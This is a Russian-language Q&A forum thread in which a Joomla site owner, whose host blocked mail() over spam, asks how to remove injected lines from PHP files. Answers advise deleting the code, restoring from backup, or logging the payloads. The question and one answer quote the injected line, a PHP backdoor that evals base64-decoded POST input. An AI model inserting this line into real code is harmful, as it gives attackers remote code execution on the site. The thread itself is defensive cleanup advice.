Как избавиться отbase64_decode код на странице?

Есть сайт на joomla, функция mail() была остановлена на хостинге из-за спам рассылки, порывшись на сайте, нашел такие коды <?php eval(base64_decode($_POST['n08c394']));?> в начале php файлов? но когда некоторые начинаю удалять, сайт перестает работать. Как правильно от них избавиться?
Сайт на Joomla, полностью удалить сайт не вариант, сайт рабочий
  • Вопрос задан
  • 2459 просмотров
Решения вопроса 1
maddog670
@maddog670
Такой код расценивается как вредоносный, рекомендуется удалить его полностью
от самого начала и до конца и проверить файлы на вставку этого кода
<?php eval(base64_decode($_POST['n08c394']));?>
Ответ написан
Пригласить эксперта
Ответы на вопрос 4
Scorpi
@Scorpi
Что значит перестаёт работать? Ошибка какая то?
Ответ написан
Комментировать
@leopardo11 Автор вопроса
да, скриптом переименовал eval(base64_decode($_POST['n08c394'])); на eval(blabla($_POST['n08c394']));
Ответ написан
opium
@opium
Просто люблю качественно работать
восстановите сайт из бекапа просто
Ответ написан
Комментировать
soshnikov
@soshnikov
Лучше бы сохранили в лог "base64_decode($_POST['n08c394'])" с сопутствующей инфой и посмотрели, что там такое запускается и откуда лезет.
Понимание, самый верный способ решить проблему. Я так понимаю, что удаление этой дряни не закроет ту дыру, через которую она образовалась.
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы